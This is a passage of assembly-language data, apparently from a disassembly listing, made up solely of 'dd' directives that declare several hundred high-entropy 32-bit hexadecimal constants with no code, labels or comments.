		dd 6A8FE0A1h, 665682D9h, 0D33689C5h, 61607A81h,	8DB0B69Eh
		dd 7FFEEA8h, 0FBF44604h, 408CA7E2h, 3C14B0B5h, 0EF18635Ch
		dd 9FAEA458h, 0B199856Fh, 0CC8FDCCBh, 781F0DCAh, 0A45A22Dh
		dd 0CEF030B1h, 0AC7A3B07h, 97125197h, 18DA5665h, 62E6841Eh
		dd 96246068h, 71CF303Fh, 48953800h, 0D71B68B9h,	6E92AEF3h
		dd 7F8C2F2h, 9406B09Ah,	4606897Bh, 6EE77611h, 3A7633FCh
		dd 6A18077Dh, 57C5A43Dh, 0C4A8988Bh, 1AE4E7A2h,	78246DC0h
		dd 0ACC4311Ah, 61B62FC8h, 962F1A5Fh, 0C843A2B5h, 7F151257h
		dd 43D0E7ABh, 0F69AEA03h, 70D6CD18h, 77D91225h,	49B83F92h
		dd 75430946h, 0EC439324h, 0E8B3653Bh, 2FC1F1EAh, 0A81312BAh
		dd 0A5649293h, 303A80DBh, 21C47719h, 8CF32C63h,	0C90843ACh
		dd 0FF69EA7Bh, 0F9D8439Fh, 94AA8E9h, 3EFD97A4h,	0E92B6AA6h
		dd 2EC975F8h, 104399D6h, 20409BEFh, 0AAA1AE7Ah,	0A1E07B98h
		dd 0F03D775Fh, 29064C2Dh, 1AA1E67Eh, 153224A8h,	4383545Fh
		dd 0AC1B219Ah, 6DEBE628h, 0BE3293BEh, 6E9907D0h, 52C81562h
		dd 0ACF45654h, 3D4A5D01h, 9B1FDF7Ah, 9665279Dh,	0A065C66Bh
		dd 880FCE66h, 9B356F2Bh, 266A6968h, 0C9E8C609h,	270CF7ACh
		dd 0D5ACC700h, 169DD68Ch, 50425E79h, 6212FFAEh,	899CBFA6h
		dd 9EB81089h, 7479BD19h, 9591FB36h, 0CD769AF5h,	5989D3E4h
		dd 0F9F42AD1h, 797E98E2h, 68DA8BCFh, 98B85906h,	8E2A068Fh
		dd 87326CF1h, 2E2F82D4h, 0FA23E4F3h, 6BE7BD7Bh,	9F6DB757h
		dd 63C40909h, 1A36B3A4h, 0DA1F8ECCh, 0AB9B4627h, 0B6608CD6h
		dd 0DD53A4D1h, 0B3DF69A5h, 7476E898h, 3CFA63FAh, 3288EB5Ah
		dd 38FA162Ah, 317F9636h, 0B03D5B2h, 3F6B6841h, 843165F0h
		dd 7391D3B1h, 0F75958AEh, 0BE63CC8h, 0C39F5C97h, 3155358Ah
		dd 498523E7h, 0AA019EF0h, 524FDF58h, 835A5974h,	0E82E31Bh
		dd 0AB237C55h, 2FE7697Dh, 1AAFB75Eh, 6E9F5101h,	3D9F9958h
		dd 6F928C45h, 31267ECCh, 0B18EF0E9h, 335D42CDh,	0FF265012h
		dd 5D44F060h, 0F931AEA7h, 214814AAh, 14093598h,	0AC158FAEh
		dd 9AFB120Bh, 8A2823B1h, 0EA288CC2h, 7ACA5FA5h,	0A288BD5h
		dd 13F77808h, 75415F54h
		dd 0BF446A62h, 0FFC5172Ah, 0CE1B5572h, 8FE2476Eh, 0AED5CECDh
		dd 0CC0C8A16h, 0BB5F44F5h, 0AE59D91Dh, 3551745Ah, 0C0FA0A42h
		dd 0B7AA157Ch, 8D5C51DBh, 0BF344290h, 142F4D18h, 661135C5h
		dd 5945F4C1h, 0F958DBB9h, 0F8F4AA88h, 3742477Ah, 18643B3h
		dd 6518B6ECh, 735D1108h, 0C0D3D726h, 9C5C9255h,	94F320CDh
		dd 1B40DE31h, 2EA23003h, 330CD4h, 0C10CE368h, 77A03886h
		dd 55E5A5D5h, 88623DE2h, 31506648h, 82E94A6Bh, 92B29E4h
		dd 0A2B0C2Bh, 0DBA082Bh, 5EB2042Bh, 802EC0E8h, 7E615B39h
		dd 3CBC327Eh, 4B470FCh,	4123CAAEh, 603DC65Dh, 0C7628AE4h
		dd 8335308Fh, 0BD7DDB77h, 4921CC52h, 0A499D62Ch, 0BA2484Ah
		dd 0ACFAD3A8h, 0BD0D8613h, 4473F8EBh, 2B749E8Ah, 262F998Eh
		dd 0B7AF8681h, 3BD70967h, 4AC3157h, 6317AE65h, 0D133B304h
		dd 20200574h, 0B0A92C01h, 0C5359ACCh, 4B0A7058h, 2CF6176Dh
		dd 2BBA3A3Ah, 0CB4AB679h, 5C324A0Ah, 3438C927h,	0FC8FBB93h
		dd 5BF47E39h, 8C0C02B4h, 965340ADh, 40102608h, 0DEBC38F9h
		dd 0B42DDAA0h, 0B1570D28h, 0ECC58DAAh, 6A936158h, 8C2BE1F8h
		dd 0C255F17Eh, 4F00AD0Fh, 93200154h, 336B82CCh,	206FA6B0h
		dd 79395256h, 67CC5C6Ah, 6E70BF95h, 2F2DA46h, 220EA67Fh
		dd 2FDFAE1Eh, 6017E622h, 130978C8h, 526297DFh, 0A5851B57h
		dd 0B0787EC4h, 500C1E2Dh, 937A9112h, 0FA6BD213h, 0D3ECE0DFh
		dd 2D3D0745h, 5A287630h, 5F7C5468h, 0D822C0F2h,	6AB9EBDh
		dd 0B8523300h, 4CA2DC5h, 0A57F58F5h, 0DD63818Dh, 0E1BBB134h
		dd 5090195Dh, 7F23C1EDh, 6A115F65h, 784BFCDFh, 33A10427h
		dd 7C1D4738h, 5900895h,	19483730h, 13C57AC8h, 0C6184080h
		dd 7E656340h, 0E422C436h, 66E49319h, 0AA76EDB8h, 0B5609430h
		dd 7AFEA6C7h, 0D28EB87Fh, 0FA4F3365h, 3AA72C7Fh, 81789E8Ah
		dd 0FA20F854h, 57E2D962h, 9A0DD1A8h, 1611EE76h,	0E58B2BA9h
		dd 7F018AC4h, 0C16FD2ECh, 0F1C27DFBh, 472C903Fh, 31ECF4F6h
		dd 1AA04824h, 0D66D8CB5h, 868789F5h, 30BB50A6h,	0C0F551D2h
		dd 0F667C743h, 1963EF87h, 5ACCC931h, 0FBE1FA90h, 4C7A82C6h
		dd 0CD428DA6h, 17F8181Fh, 0F9E32816h, 77354B1Fh, 1E0CF5C1h
		dd 58521041h, 56D8E1B8h, 1B3E339Ah, 0D59FD198h,	26D02C61h
		dd 0F809D325h, 0C7D16869h, 3D7FB14h, 0B2BBFE7Ah, 0CBA85DA3h
		dd 0E06896BAh, 0FA2FE28Bh, 0BF624E58h, 51B02Fh,	98020614h
		dd 1A44A0BAh, 639308C2h, 154F2566h, 0E1CDD1B2h,	0E1887358h
		dd 80B787ADh, 7AEDC67Eh, 0DD5B7D60h, 8C6FBDC5h,	4DBEEA35h
		dd 1901B50h, 0FD19C344h, 69104286h, 0D6095AC0h,	54E208A5h
		dd 42E56662h, 35C0120h,	481E121Bh, 54291BE9h, 0AF2E0F8Dh
		dd 0E2BBE083h, 0AB8AC310h, 0C5F60648h, 19DA41C6h, 90B92CD8h
		dd 0FCF1C345h, 0C2C4450Eh, 0C9BAB7DDh, 655D90C5h, 30FD38C5h
		dd 14D23A0Bh, 5D9BBD4Eh, 0BA9E01CEh, 742E5360h,	0C6DACDD8h
		dd 323E2E13h, 0BBB84CF8h, 29F9793Eh, 6CF2E0C2h,	8C54048Ch
		dd 0DC041417h, 4801983Fh, 18DF11BFh, 0D11967C1h, 2C37F77Eh
		dd 0C344E560h, 87113FBBh, 0BBBAEB90h, 7937927Ah, 1FEEB361h
		dd 0ABD258FDh, 66547F98h, 2E1CFD15h, 8031E411h,	484785F8h
		dd 0B7AE09B3h, 3BE8A024h, 84C5C4C9h, 8D17DD4Fh,	0E0850E10h
		dd 0A1659CD2h, 89D4A245h, 0A2361CEh, 331504Ch, 0F6386F43h
		dd 43AC8DBAh, 6852F45Dh, 7C96C40h, 0B126AA6Eh, 0E28CC2F4h
		dd 0DE263397h, 80AE110h, 0D81C0F87h, 8EA2C506h,	27070A3Ah
		dd 32D20064h, 58BA65C4h, 1B1C6BF9h, 0FB4AB7F3h,	6513854Eh
		dd 0EA766A67h, 0BDFC1088h, 0B3FF4626h, 3E90550Eh, 40550675h
		dd 380BADB7h, 83791F3h,	47CA851Ah, 581D78B6h, 869C3127h
		dd 8EC029BAh, 5C0692FFh, 2FFEF1E0h, 6340396Ch, 0F05DFD3Bh
		dd 4A17EE3Fh, 3A364B59h, 1F4C53A6h, 0E7EF529Ch,	7F100FABh
		dd 1DF5FDA1h, 980D3CEEh, 729847D8h, 7201F29Eh, 0FFCA305Dh
		dd 0D4E60162h, 0FB4302D2h, 0FEFD059Ah, 8F8CC5F3h, 0F6749628h
		dd 0A37A0FFDh, 8EE0770Bh, 4A74707Ah, 31E1A455h,	0F5A86DA2h
		dd 0F86F8F97h, 1E9CD002h, 4F2AC405h, 9FB4D3Ah, 26C1AE89h
		dd 2CC6AB60h, 2CBF9FBh,	0B31100C2h, 22139874h, 750105DEh
		dd 0CC02AD9h, 0D6665FC6h, 63E500C5h, 7E85121Dh,	0BB40E54Ch
		dd 40B9D8E5h, 0EF04511Bh, 331F10B5h, 98A3832Fh,	0C687E190h
		dd 7840FAE1h, 941430D1h, 37F30A76h, 43752EB3h, 0F58E1403h
		dd 9500CE38h, 78CC1F69h, 0BFC07071h, 81224AD0h,	0F5C61072h
		dd 0E0BDFBCEh, 0C7178BABh, 82805959h, 3AB10254h, 0E0736068h
		dd 2D219833h, 67F51D53h, 8F31F85Bh, 0EDD4FA47h,	0BCAEB007h
		dd 8F2F3C2Ah, 0A8B90FA3h, 5AA3A47Ah, 0B6E145D8h, 0DD2ED33Fh
		dd 0C7A2A5D4h, 2E40C4Dh, 55C0B587h, 0B47A3C09h,	2262E6E4h
		dd 485D2EF7h, 3890EFB8h, 0A3C21718h, 285EF00Ch,	295784E3h
		dd 10BEEF02h, 2466832Ah, 0ED7C6369h, 0FA51B285h, 1574011Eh
		dd 68D2294Ah, 0E9B3B1E9h, 0F7E9FF25h, 5740FFF3h, 55555010h
		dd 0AE8F4618h, 0BD1CCECDh, 0F1AEB9F9h, 7DF8AB55h, 0D8B5CBA1h
		dd 0E52F3D90h, 23E46FE0h, 5FD4C89h, 0E4B42B7Fh,	0A8BD9A94h
		dd 874A371h, 25D30E60h,	975552E9h, 5D744BA8h, 76522EB2h
		dd 0D0EDBB09h, 9485ED7Eh, 0A6E5CFD4h, 6E359B34h, 2D5C2E90h
		dd 18900E05h, 49DD3CC0h, 6B0B0987h, 29E218B0h, 82124B9Fh
		dd 867654ADh, 8AA56B34h, 7F44EDE9h, 20C4342Bh, 52403609h
		dd 207204C0h, 148AE020h, 59BC6084h, 0B615C2D3h,	8DC30DB7h
		dd 3BF87E26h, 4C32729h,	10433386h, 0FFBB3CC4h, 500E2E90h
		dd 1D07A31Dh, 0A8B1C1EDh, 2278CCA2h, 28F0635Dh,	20631FF0h
		dd 8E4015BCh, 43402776h, 0F653143h, 258E4C0h, 0B545968Eh
		dd 61E6D184h, 61219573h, 6A0B5C05h, 5A375188h, 2BD0EB95h
		dd 0C4620C16h, 0D8E5653Bh, 369EA467h, 9AE262FBh, 0B21C4C42h
		dd 0F8038034h, 0DD6BE333h, 71B887B3h, 0CF6EE053h, 7F143F0h
		dd 0C63BF0E7h, 65911008h, 199BCDFFh, 0FBEFA368h, 0FA6C950Eh
		dd 0DD6FDBC1h, 0F514DD7Ch, 9A631355h, 8908BAF9h, 66213C4Fh
		dd 7287B6A0h, 543FF84Dh, 0CC53FA6Eh, 175A6096h,	0E0BA0A60h
		dd 7EA9E632h, 0BA767E8Ah, 0F7038BE5h, 80BC4707h, 0C6507FEDh
		dd 4AC9A878h, 80670DC6h, 89E2CA87h, 71103972h, 143CFE28h
		dd 0AA67519Ch, 0C9B7CE30h, 9C0D3163h, 16E7BCB4h, 38D300F4h
		dd 0EB13EF94h, 66E19523h, 0E550FF03h, 217654E3h, 0EB63E647h
		dd 757A664Ch, 70386091h, 7F801430h, 14A101Fh, 0D77C93F5h
		dd 43A87AA1h, 7A0A00ADh, 0D4178822h, 425678F4h,	23A05E2Bh
		dd 63B42DABh, 2C5F74DDh, 0E690FB8h, 0E4A7FFF6h,	39D7B89Ch
		dd 12C6909Ch, 0D4121192h, 6E48B057h, 9C09626Ah,	8777C429h
		dd 26494A12h, 5EB65C91h, 66351413h, 0CD2338BAh,	0F1A4D43Ah
		dd 0A1E22226h, 0CD1FD380h, 7D269553h, 5CD806E0h, 18DA8EC0h
		dd 92725FABh, 129CA455h, 10B2ABA8h, 31B1F0Ah, 2D09621Ah
		dd 0B86AA976h, 2FAFB287h, 0ECB9FFFCh, 49A4EB60h, 0F750066Fh
		dd 48995E77h, 58C5F43Eh, 26EE04C0h, 90748AA6h, 6B12A1EEh
		dd 2BD73509h, 1C91D828h, 900EFDC5h, 1422CA2Eh, 0FC443808h
		dd 0D98B3EB7h, 13971543h, 89E1227Eh, 0A3652481h, 0DB7FACC3h
		dd 0A6CE34A1h, 0E028E17Fh, 0EB41837Eh, 1B80E91Bh, 602A5438h
		dd 470BEA35h, 154B287Bh
		dd 17D05498h, 98A3ED23h, 4DE4FBF6h, 0F665146Dh,	0F84D0F85h
		dd 130ADC50h, 0D287C36Fh, 146125B4h, 14775EFh, 188D6CF3h
		dd 67F0A851h, 0D7503782h, 3EA3BAF3h, 9181D094h,	0A294A885h
		dd 0D2298173h, 2E973E8Fh, 0BA27F246h, 2668D918h, 4869E938h
		dd 89F20A1Fh, 662013ECh, 0AAA66738h, 0E00150F6h, 0F131D02Bh
		dd 0F820C1B5h, 6A3C2742h, 0C1C141E6h, 5563F57Ah, 37656CCEh
		dd 50F8FC5Bh, 7C676010h, 0F9F4F03h, 0FF5DA30Bh,	160612B5h
		dd 85333BABh, 5C4F9668h, 30240EA6h, 4A53F76Dh, 0BDA53F05h
		dd 8F43A2AEh, 9CD395E1h, 27F3A26Bh, 438E8DD3h, 0BC6A6995h
		dd 594D3CA0h, 0C88B1A7Dh, 6BEA7D3Fh, 0B7A9D860h, 34E3A6BAh
		dd 53891684h, 41A6113Fh, 8D63046Fh, 6910928Eh, 744B9B24h
		dd 64CB231h, 44F62C7Dh,	685048A0h, 17CA1A66h, 5D373A75h
		dd 4063E8E8h, 481AAEE0h, 0E8F5575Bh, 846957E3h,	7AAA494Dh
		dd 9CD8699Ah, 981BBB86h, 3483BB4Ah, 0B8251BC5h,	0F792AD8Bh
		dd 6F13169Dh, 5846ED22h, 0E12D0C21h, 2B6E2286h,	90D6234Ah
		dd 0C8A9E804h, 2563271Fh, 0E2FDA2B3h, 454913C7h, 751E3C69h
		dd 0FB487225h, 964EEDC2h, 0B069E299h, 205AD56Ch, 0C0B34939h
		dd 98B35A9Eh, 0C3755F68h, 0E34A9F7Eh, 112BA40Ch, 0AC500A6Ah
		dd 5290A8F7h, 8E879A50h, 0D635246Ch, 0FF4C557Bh, 0D250D27h
		dd 21B351A5h, 92B0A32Bh, 0CD2651A6h, 45650B3Eh,	0E51EA947h
		dd 5DE4347Ah, 38B568CAh, 98D1BAF0h, 0F5C9F346h,	0A8A98536h
		dd 9F945A6Ch, 0C34D1541h, 81AF100h, 0A87887E4h,	0CFAC6CAFh
		dd 14F10BB8h, 0C170C1A3h, 0E8C5EAB4h, 0BE6DAEDBh, 157408B1h
		dd 0F7FC02A2h, 0C8A39943h, 4BFC9809h, 135C1881h, 2F389D09h
		dd 1C05B650h, 63C8D428h, 4C0A4941h, 0A55F1452h,	0A2B5A0D0h
		dd 22FD87DAh, 874395A4h, 1F880314h, 4F7490F4h, 9EBB5515h
		dd 0AADEF77Fh, 0AFB86B9h, 828C2D89h, 0B83EE417h, 0FAD1C306h
		dd 43885Fh, 0FD3EAF76h,	3DC13038h, 85B0B3C0h, 6C2DA5BAh
		dd 6A65071Fh, 607C0236h, 8C5FF7EFh, 0A53CAE4h, 881AA501h
		dd 4523C64Ah, 1FBE36D3h, 8162F46Ch, 61691697h, 0E7D8F2F4h
		dd 17F7D26Eh, 0A06136FCh, 0DAD4CC6Ah, 0D1447818h, 43F11197h
		dd 9F19D4DAh, 0C8F6DB56h, 4487901Bh, 0A0589Ch, 6637588h
		dd 617CFB34h, 0F47B6184h, 0B42DA080h, 0D3588ED5h, 25890331h
		dd 6FE7D9A4h, 0CE216224h, 7CD74505h, 4B7DAF7Ch,	0C8132069h
		dd 0C94AF1B3h, 14CF4083h, 8CF23A73h, 110EA46Bh,	0DC0F227Eh
		dd 0E5045094h, 18D885D0h, 77D62839h, 297A4C2h, 4885074h
		dd 98B3A173h, 0A93F1D37h, 70A64B82h, 5A0757BCh,	50FEF196h
		dd 0CC118A8h, 6831D80Eh, 8EB6A500h, 6F941EFBh, 6F27167Dh
		dd 0EB5B713Dh, 6DA61A8Bh, 5032B029h, 0ADF60571h, 41C093C9h
		dd 30131CC9h, 4127F5D1h, 30A5B9CBh, 5CB91A07h, 546C9963h
		dd 6094FC80h, 0FF43406h, 0D8C036C2h, 43F70E55h,	45603422h
		dd 8901DCBCh, 0D518BF1Ah, 2F03822Dh, 7582C58Ch,	66E7E261h
		dd 0E68767h, 0B77EF601h, 0D404E6AEh, 0FB94338Fh, 0D284E17h
		dd 92A06FC5h, 7AE5619Ch, 0E99F8405h, 0C38819C8h, 500003EDh
		dd 3ACE31B4h, 80A6156h,	42044410h, 4202221Eh, 0FBAA8910h
		dd 0F7208920h, 0B179C48h, 2AD0016Ch, 0AB6FCBDDh, 1E3445CAh
		dd 0DA199568h, 0F9C5AA84h, 79578B4Eh, 35566165h, 0AAB2589Ch
		dd 82AA4562h, 1A0D1D18h, 0B174C82Ch, 0A85C43C1h, 0D0BE8605h
		dd 457DD60h, 0C0F937AEh, 4CC842Bh, 0CC475EBAh, 0F2A4103h
		dd 1425C24h, 6EC6B5A1h,	3860F5E1h, 30C23C2Ah, 10247904h
		dd 24056005h, 55694842h, 4DFB83A9h, 169C1C04h, 2B7C110Ch
		dd 31227C5Fh, 7CF6C51Bh, 5A4747E7h, 994266Eh, 20B512Ch
		dd 40EB04C9h, 8B74E7CEh, 157AF23Eh, 8056A313h, 0A704B616h
		dd 0D513110h, 6C7A921Fh, 0A6CA5FB8h, 0A10C1402h, 9533015Bh
		dd 0D8815558h, 835C7D97h, 5AA22B8Bh, 4E33C903h,	652315A6h
		dd 10029508h, 12040CA5h, 2A092812h, 9962480Bh, 0FB7706C0h
		dd 0DFAA9921h, 0C7DE6854h, 8CA3CB5Dh, 565DB14Eh, 9855E481h
		dd 0A17D5226h, 28AFF8A3h, 71405F5Ch, 9AC958A8h,	350E42E7h
		dd 3C05F0C6h, 0B33211A0h, 185BB0E5h, 8D498744h,	78921A19h
		dd 74241710h, 3FC8E1DAh, 765D7C26h, 95725F06h, 6C0A7123h
		dd 942A1D47h, 0A112567h, 0B00487B4h, 42C90ECDh,	718C18C9h
		dd 18BA154Fh, 39124074h, 8475C8BAh, 62F9498Ah, 3F9044FAh
		dd 85F96883h, 73C824B1h, 3EECC25Ch, 7B2AE3ABh, 0E10AEE6h
		dd 0FE551BE4h, 171E4F17h, 0CFED5854h, 5E5818ACh, 0D66D84E0h
		dd 0A9AEACABh, 9604916h, 923C7420h, 4A208885h, 77418902h
		dd 269A8901h, 7C8DB530h, 48C4BFB1h, 4A40EB40h, 0E0105D2Ah
		dd 65648198h, 62C1D012h, 0C943E6DDh, 8B9C2AE7h,	0BB678085h
		dd 6CFD3289h, 6C6FE924h, 0E05F9E89h, 6A8EBD97h,	0BDFDDF79h
		dd 8400E062h, 870518A6h, 0D62F5DB4h, 654CDB19h,	0E917AF23h
		dd 0CDAC25F7h, 75E2EB42h, 73A6E110h, 6D50D12Dh,	96015E53h
		dd 155965DEh, 25094CD3h, 0E4636331h, 4BE51565h,	78EC332Bh
		dd 19FC7561h, 348ABE33h, 3EF16914h, 78CC32FEh, 0FCAC7361h
		dd 9224C1A8h, 3CCB0C66h, 9A90E8C2h, 0C6DA2231h,	18196621h
		dd 0A39E0EB3h, 2938DFABh, 946E0B1Fh, 1470CA71h,	67D11348h
		dd 0FB9DAF42h, 22DB68F0h, 823B65E6h, 910E14A4h,	0C8F6F11Eh
		dd 0C1531ABAh, 0A747CB95h, 0BFF47EB4h, 0F93880E3h, 3B840C6Ah
		dd 21109981h, 19EC1003h, 80ACFC35h, 0F0716A69h,	4BC51F29h
		dd 9DFE1742h, 0E291FD12h, 455737A7h, 0E6A7B85Fh, 4EF33C13h
		dd 0DF613572h, 0EA18B137h, 0D2F1DFBAh, 428CC17Eh, 0E95D7C02h
		dd 0FB28B4D2h, 7C6CF81Bh, 3BFFD91Dh, 4100F23Dh,	793F0AEDh
		dd 17B1D051h, 1ABA6B06h, 38BA7688h, 87246B13h, 7BB74695h
		dd 598654B0h, 0A13A435Eh, 8CE0210Bh, 7E980860h,	4573FE55h
		dd 2B0DD8E4h, 59E2483Bh, 5865A8EEh, 0D015C529h,	21392FFh
		dd 8D86888Ah, 0BF1403E5h, 0E46D4FD9h, 0A8318CA9h, 0C91268D8h
		dd 90BE3D81h, 0A93B0FC3h, 5617F624h, 258DC0FEh,	677F8EF2h
		dd 816C9A44h, 8982153Fh, 18D23BBDh, 0A7A908C5h,	0F4BF898Dh
		dd 0F3401DDCh, 50C328A2h, 0AED73116h, 0A07FC7FEh, 0FE4738AAh
		dd 0FB7A43F0h, 4FA7E68Ah, 2218E4CCh, 64AC4475h,	0F09691C1h
		dd 290BFD1Bh, 0F11663F0h, 0D084E796h, 0A5E7C0ACh, 2CA76D9Bh
		dd 0ABEB7927h, 1447974Eh, 0C5872B6h, 1A302EB3h,	4DF30431h
		dd 1956407Ah, 0F2D19925h, 0FDE031B2h, 0C6EB39A4h, 6617D463h
		dd 4A02A949h, 0A0E796CCh, 215425D3h, 0F1480E7Ah, 0F25D7FB5h
		dd 93F4DBC2h, 22BB82AFh, 8AF2AA77h, 0A0D49C2Bh,	604C7C5Ah
		dd 8E9472E5h, 4E7DCC9Eh, 55447F07h, 4CB89531h, 93A91482h
		dd 0E921EBBh, 87B98557h, 26670A7Dh, 303D5549h, 0F1A07C62h
		dd 0B2C67DEAh, 813E980Ah, 40A61ECh, 6A88F148h, 0A956D73Dh
		dd 2D12FC6h, 0DAF7058Fh, 8BEF2589h, 321218F8h, 9EBA7B00h
		dd 0C6113C4h, 95FEB50h,	0A80B4128h, 5FE1B7AAh, 72C2B56Ch
		dd 0D4465DC7h, 5426987Ch, 71632E11h, 934D657h, 0CBA16AE4h
		dd 0AA4DAC01h, 0BC92C8D6h, 0D2BE671Bh, 5BCC4E18h, 79537A55h
		dd 86059805h, 4433DB0Ch, 5773212Bh, 8CDF41h, 62539109h
		dd 9396A129h, 0A2DB0575h, 0E948C008h, 0C433B446h, 152A9C82h
		dd 19A57CE6h, 73955B07h
		dd 3486F1AEh, 4181B66Fh, 945030Ch, 0E99E3722h, 8A9513C5h
		dd 0ACD88C28h, 12544F5Ch, 6F8BEE54h, 85173849h,	37024774h
		dd 8A0BBACFh, 0AE30B5EBh, 8F59BB06h, 76881BD1h,	2C43608h
		dd 177AFAh, 9104EB9Ch, 21D52C03h, 5ABBC863h, 3D90512Ch
		dd 50088ADCh, 135CFC2Ch, 15D443C3h, 0FCC09248h,	9316738Fh
		dd 6CAF9ED1h, 0C641139Bh, 0E2F808ABh, 52CC1AA1h, 20B076B3h
		dd 21656E00h, 0A85E7382h, 8DA275EBh, 0F17B9738h, 0D1BB20AEh
		dd 19964B17h, 5A235994h, 40E314A8h, 78C00CA1h, 0AFA43057h
		dd 32097A70h, 0B12DD9B5h, 0E2BB28C5h, 6BED989Ch, 0DE269EC1h
		dd 831CCB15h, 98259317h, 6719E035h, 4B108A66h, 43C0DD07h
		dd 54670694h, 9045A75Ah, 8DDAE3B5h, 2FF8A2A5h, 0FFC90FBEh
		dd 0D4DECF01h, 0F83ED403h, 0C028D054h, 789663Fh, 427E2496h
		dd 3A981060h, 80F692CEh, 1021045h, 64BF6478h, 3E04E82h
		dd 0E4EF97D1h, 0E743B275h, 86DF8CC9h, 1369CC3Ch, 9965FD9Bh
		dd 11915064h, 0E26A56F8h, 704A0F68h, 0DE92CC83h, 157C4815h
		dd 0EB1D191h, 38CD9A32h, 7FC87640h, 0DFD7F008h,	4B9C43F1h
		dd 695FF033h, 5463315Dh, 0C0531A10h, 9B8AA8E5h,	0CE31FA40h
		dd 0D4BBEB6Ch, 0CC41D4ACh, 422631DBh, 0C78658BCh, 0F232718h
		dd 31C5184Dh, 19A431D3h, 0F8D9A641h, 0B3E77CE0h, 0D719B80Dh
		dd 0FE1A020h, 0EB70F378h, 0A588CF7h, 134DD16Eh,	0B22ABC63h
		dd 0F9546BE4h, 0A8616C59h, 43D5D0A2h, 0AD483D46h, 22A7D99Eh
		dd 6AB212F9h, 54982BD5h, 1C253BA6h, 70BE09E9h, 0C68081Ah
		dd 18182FD2h, 0ADD09274h, 0B42F1A0Fh, 1FD28520h, 4929054Dh
		dd 0E5BCD03Ah, 0C315091Bh, 30BFA4A2h, 0DB1BDBFBh, 0F15CC72Bh
		dd 44E7F82Eh, 6EF89558h, 1B972809h, 2EB1FC9Ch, 548FBC04h
		dd 38F80C4Eh, 5146EC11h, 0D088508Eh, 0AB66AAD8h, 0FB0B57D8h
		dd 0F7504E99h, 0E8CC31A0h, 0A31832A3h, 0DAA0074Fh, 0AAEC959Fh
		dd 0AC533E4Ah, 0DF551B40h, 604DA6EDh, 0ED14C104h, 5DA29572h
		dd 0D08499E0h, 0CA8BB07Ah, 9566E66Ch, 41E3EC9Bh, 31160BB8h
		dd 91AB68F4h, 0EDA16440h, 34D36948h, 6864AA29h,	33ED482Ah
		dd 5F87FA29h, 0E924AAEDh, 33148900h, 967738E0h,	526052E5h
		dd 0C5550506h, 63790832h, 4FB024F4h, 0ED101892h, 0E6D11CD4h
		dd 0E968651h, 7765BAACh, 31B0C4CCh, 0C4792527h,	38985A08h
		dd 0DEACB60h, 0C081A451h, 5600E586h, 8DE9204Bh,	2C86B666h
		dd 0A4CD92E0h, 0A55AD893h, 81592460h, 2DE18A93h, 5E19B8EDh
		dd 58BFA504h, 69844902h, 1973C29Ch, 56866CB5h, 8FFA49E2h
		dd 0A56874D1h, 0E312A6AFh, 31C6988Ch, 0EA55F975h, 3AA70449h
		dd 3168B6BAh, 2F5C6A84h, 4AB4F4A1h, 0E15AAD82h,	0CDAB9B8Bh
		dd 29E712B9h, 22C8248Dh, 788D32BFh, 6F27DAC5h, 5737565Bh
		dd 0CC779055h, 5DEE5A67h, 2BE9B309h, 47920A82h,	136ABA76h
		dd 87888F53h, 0E6A522BBh, 666CAFA6h, 9F8C611Ch,	532E331h
		dd 0B3669A65h, 36A9D466h, 1B7C0148h, 49869223h,	45D81E46h
		dd 6368CEC6h, 512CBA89h, 6946E518h, 0EB82B333h,	622C162Fh
		dd 911623B4h, 58397200h, 9D1A64E2h, 935F95F4h, 8BC7F8CDh
		dd 7A2F60F6h, 3032D990h, 0CA956A85h, 937F9304h,	5D67A318h
		dd 1ACED540h, 0C032CAEEh, 67C62BA3h, 0CC570BA3h, 0C045318Bh
		dd 0E97DD2FBh, 0C910A22Bh, 0FB803CFFh, 0F1DE214Dh, 0ECB5D4AEh
		dd 0A18B43F7h, 0B468E566h, 2808E314h, 0FA301871h, 0E68D9464h
		dd 11D2323Fh, 0D69A52D4h, 90FF8631h, 648524CDh,	565AC2CDh
		dd 183D18F8h, 226B422h,	7A23215Bh, 0DA2817ECh, 8CDF8BE7h
		dd 0C58AD440h, 92C6EB05h, 0BF5ED4C1h, 1EDB03B9h, 700ED95Dh
		dd 33EA2BC0h, 9945C296h, 0E9C1FA70h, 3C03FE2Bh,	32028517h
		dd 0E852F0B4h, 3F45FADFh, 0A6A8EA07h, 9BD07736h, 2280ABB9h
		dd 7B1EB9DDh, 939D0E07h, 85D67BFCh, 0D280FE15h,	705D2485h
		dd 2A04BF81h, 51138F1h,	716C1277h, 3A086BA4h, 0D113AE88h
		dd 2AAF23E1h, 555F3351h, 557BD234h, 0D193E440h,	0C339BB00h
		dd 5BBBDB93h, 46388B55h, 0FC892E70h, 0B5DE4CA3h, 80D6B317h
		dd 23C5CFB0h, 0BC13F873h, 5D534AABh, 37C6E316h,	8AEF57D8h
		dd 615D2D23h, 0F0DB0244h, 4D84E08Dh, 2BBC1739h,	0CE4C3175h
		dd 5BAC0A2Dh, 238D8C0Dh, 39F4B633h, 3254545Eh, 7320AB31h
		dd 626856B9h, 0A4C1C4E3h, 36B6D04Bh, 919BF171h,	0CAF5A9C2h
		dd 719562E0h, 12E91532h, 42240DCBh, 7A3D5155h, 0F6E5E315h
		dd 155C8C8Ch, 0E084FAA8h, 9CAA3E0Bh, 2858AB9Dh,	6138A0ABh
		dd 2230D9Dh, 0EF0063ABh, 6784C9E0h, 0B7762BBh, 198D3F0Bh
		dd 24A08B0Ah, 6B10A446h, 14EE52ACh, 0FE638BCCh,	0E3720F91h
		dd 81661057h, 0BF42DC5Ch, 0D03477C8h, 8A54B017h, 98F0B8Eh
		dd 5613103Ch, 0EE31A302h, 0C33A7E96h, 0F0B4557Dh, 0C82A0B2Fh
		dd 0E1C82BF2h, 7D7CF30Ah, 0CC1F3567h, 9715AD29h, 4CFFBF9Eh
		dd 0EC334DFFh, 9306F39Bh, 4A92110Dh, 0B16D880Ch, 0AC36BF46h
		dd 5900198h, 20CC82A6h,	68CA2E0Eh, 6241C013h, 0E619A2FEh
		dd 98352F9h, 40C46754h,	866B9882h, 0DB151D10h, 0A99F4BF4h
		dd 96FA971Ch, 82E9DA75h, 60FF55C5h, 9F2F08A3h, 9C51C56Fh
		dd 0D475C09h, 0C1FE989Ah, 55C49D84h, 0FFE1E4F1h, 2BFDDCFCh
		dd 0EE22F82Bh, 7D0CD6A5h, 2284C262h, 3FDA1465h,	8D8931EDh
		dd 50498DA2h, 20958B30h, 199144D9h, 7916565Ah, 0F1E55771h
		dd 555E9915h, 0F9324E64h, 1F8ECC22h, 7B345D2h, 0B3148EAFh
